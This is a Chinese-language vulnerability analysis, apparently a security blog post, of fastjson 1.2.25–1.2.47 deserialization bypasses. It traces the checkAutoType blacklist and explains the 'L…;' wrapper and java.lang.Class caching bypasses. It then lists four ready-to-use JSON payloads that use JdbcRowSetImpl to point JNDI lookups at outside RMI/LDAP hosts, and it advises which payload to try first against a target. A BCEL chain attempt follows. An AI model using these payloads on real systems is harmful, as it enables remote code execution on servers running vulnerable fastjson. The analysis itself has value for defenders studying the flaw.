fastjson 1.2.25-1.2.47漏洞分析

在1.2.24漏洞分析中,已经有几条利用链了,把版本切换到1.2.25,运行一下poc

1

1. 修复分析

poc运行失败了,直接跳转到报错位置分析

1.1 checkAutoType方法

a. 调试发现在parseObject方法中,key=@type进行类加载时,发现多了一个checkAutoType方法

2

b. 进入ParseConfig.checkAutoType方法,这里判断了autoTypeSupport是否为false,并进入黑名单判断,黑名单中包括了com.sun

3

所以此时我们的poc在这里就会抛出异常,autoType is not support ...

1.2 autoTypeSupport

实际上,如果autoTypeSupport一直都是false的,程序会直接抛出异常,哪怕是一个普通的类的反序列化

4
使用正常的一个测试`User`类测试反序列化
5
### 1.3 开启autoTypeSupport 这里假设,如果是这个版本,开发需要使用`fastjson`去序列化/反序列化对象,那么手动开启了`autoTypeSupport`属性,此时结合`className`过滤L和;的情况,构造`Lcom.sun.rowset.JdbcRowSetImpl;`来绕过黑名单的过滤
6
1
2
3
4
5
{
"@type":"Lcom.sun.rowset.JdbcRowSetImpl;",
"dataSourceName": "rmi://dnslog.cn",
"autoCommit": true;
}
1
2
3
4
5
6
7
8
9
String poc = "" +
"{\n" +
" \"@type\":\"Lcom.sun.rowset.JdbcRowSetImpl;\",\n" +
" \"dataSourceName\": \"rmi://dnslog.cn\",\n" +
" \"autoCommit\": true;\n" +
"}" +
"";
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
JSON.parse(poc);

2. 不开启autoTypeSupport的绕过

2.1 内置的Class类

CheckAutoType中,可以在默认的解析器Map里找到java.lang.Class这个内置类

a

此时再回到parseObject中,看下java.lang.Class对应的deserializer是什么;
调试看到对应的deserializerMiscCodec,这和java.net.InetAddress一样

8

MiscCodec中,当@type对应的是Class类时,返回TypeUtils.loadClass

9

2.2 Class类通过TypeUtils.loadClass加载类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
public static Class<?> loadClass(String className, ClassLoader classLoader) {
if (className == null || className.length() == 0) {
return null;
}

Class<?> clazz = mappings.get(className);

if (clazz != null) {
return clazz;
}

if (className.charAt(0) == '[') {
Class<?> componentType = loadClass(className.substring(1), classLoader);
return Array.newInstance(componentType, 0).getClass();
}

if (className.startsWith("L") && className.endsWith(";")) {
String newClassName = className.substring(1, className.length() - 1);
return loadClass(newClassName, classLoader);
}

try {
if (classLoader != null) {
clazz = classLoader.loadClass(className);
mappings.put(className, clazz);

return clazz;
}
} catch (Throwable e) {
e.printStackTrace();
// skip
}

try {
ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();

if (contextClassLoader != null && contextClassLoader != classLoader) {
clazz = contextClassLoader.loadClass(className);
mappings.put(className, clazz);

return clazz;
}
} catch (Throwable e) {
// skip
}

try {
clazz = Class.forName(className);
mappings.put(className, clazz);

return clazz;
} catch (Throwable e) {
// skip
}

return clazz;
}

此处加载了var参数对应的类,并放到了TypeUtilsmappings中,把我们的目标类添加成了一个内置类,且在加载的过程中并没有对黑名单进行过滤!

10

第二次@type进入checkAutoType,如果没有指定 autoTypeSupport,则通过

1
TypeUtils.getClassFormMapping("com.sun.rowset.JdbcRowSetImpl")

可以直接获取到通过java.lang.Class加载并缓存的com.sun.rowset.JdbcRowSetImpl

11

2.3 Poc

2.3.1 JdbcRowSetImpl的两个写法

1
2
3
4
5
6
7
8
{
{"@type": "java.lang.Class", "val":"com.sun.rowset.JdbcRowSetImpl"}:"x",
{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://9ktn7r.ai.haibara.cyou/1",
"autoCommit":true;
}:"y"
}

但是这里需要注意:如果开发设置了ParserConfig.getGlobalInstance().setAutoTypeSupport(true);,则会直接进入denyList进行检测,
因此这里需要整理两个Poc进行检测,防止目标开启了ParserConfig.getGlobalInstance().setAutoTypeSupport(true);

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
## poc1

{
"@type":"Lcom.sun.rowset.JdbcRowSetImpl;",
"dataSourceName": "rmi://dnslog.cn",
"autoCommit": "true";
}

## poc2 这个poc对应着目标开启 ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
{
{"@type": "java.lang.Class", "val":"com.sun.rowset.JdbcRowSetImpl"}:"x",
{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://9ktn7r.ai.haibara.cyou/1",
"autoCommit": "true";
}:"y"
}

## 结合Class的poc也可以自己随意组合,只要保证先使用java.lang.Class加载需要的类即可
## poc3
{
{"@type": "java.lang.Class", "val":"com.sun.rowset.JdbcRowSetImpl"}:{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://9ktn7r.ai.haibara.cyou/1",
"autoCommit": "true";
}
}

## poc4
[
{"@type": "java.lang.Class", "val":"com.sun.rowset.JdbcRowSetImpl"},
{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://9ktn7r.ai.haibara.cyou/1",
"autoCommit": "true";
}
]

实际检测利用链时,从poc1、poc3、poc4中选取一个检测一下,如果不行再用poc2检测一下

2.3.2 BCEL利用链

此时BCEL利用链仍然是不能用的,我们尝试先试用java.lang.Class去加载必要的两个类

1
2
3
4
5
6
7
8
9
10
{
[{"@type": "java.lang.Class", "val":"org.apache.tomcat.dbcp.dbcp.BasicDataSource"}, {"@type": "java.lang.Class", "val":"com.sun.org.apache.bcel.internal.util.ClassLoader"}]:{
"x":{
"@type": "org.apache.tomcat.dbcp.dbcp.BasicDataSource",
"driverClassLoader": {
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassName": "BCELPayload" }
}: ""
}

调试发现org.apache.tomcat.dbcp.dbcp.BasicDataSource是可以加载的,但是com.sun.org.apache.bcel.internal.util.ClassLoader由于是字段值,将通过JavaBeanDeserializer去反序列化处理,而在该类中,checkAutoType是传入的expectClass

12

因此在checkAutoType方法中,会先进入对类名的黑名单判断,导致com.sun.org.apache.bcel.internal.util.ClassLoader匹配黑名单报错
!

13

那如果将com.sun.org.apache.bcel.internal.util.ClassLoader构造成Lcom.sun.org.apache.bcel.internal.util.ClassLoader;呢,这样黑名单是可以过去的,但是下面有专门针对ClassLoaderDataSource类型进行判断,并抛出异常

14

所以暂时BCEL只能在1.2.24中使用

3. 总结

通过测试+对比代码

  • 手动开启ParserConfig.getGlobalInstance().setAutoTypeSupport(true); ,结合L+类名+;绕过的方式,适用版本 1.2.25-1.2.41,但是这取决于目标环境是否手动开启了AutoTypeSupport
  • 通过java.lang.Class绕过autoTypeSupport,适用版本 <=1.2.47

    2.1 1.2.42的修复

    修改fastjson为1.2.42,调试进入checkAutoType方法,可以看到,这里先对Lxxxx;进行过滤,再进行黑名单的判断
15